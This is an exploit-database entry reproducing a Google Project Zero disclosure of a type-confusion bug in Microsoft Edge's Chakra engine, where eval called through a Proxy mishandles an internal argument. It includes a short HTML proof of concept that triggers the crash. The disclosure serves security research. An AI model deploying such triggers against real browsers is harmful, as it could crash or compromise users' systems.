Microsoft Edge - eval Type Confusion Vulnerability

2016-11-18T00:00:00
ID 1337DAY-ID-26350
Type zdt
Reporter Google Security Research
Modified 2016-11-18T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948
 
In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:
 
var p = new Proxy(eval, {});
p("alert(\"e\")"); 
-->
 
<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>

#  0day.today [2018-02-16]  #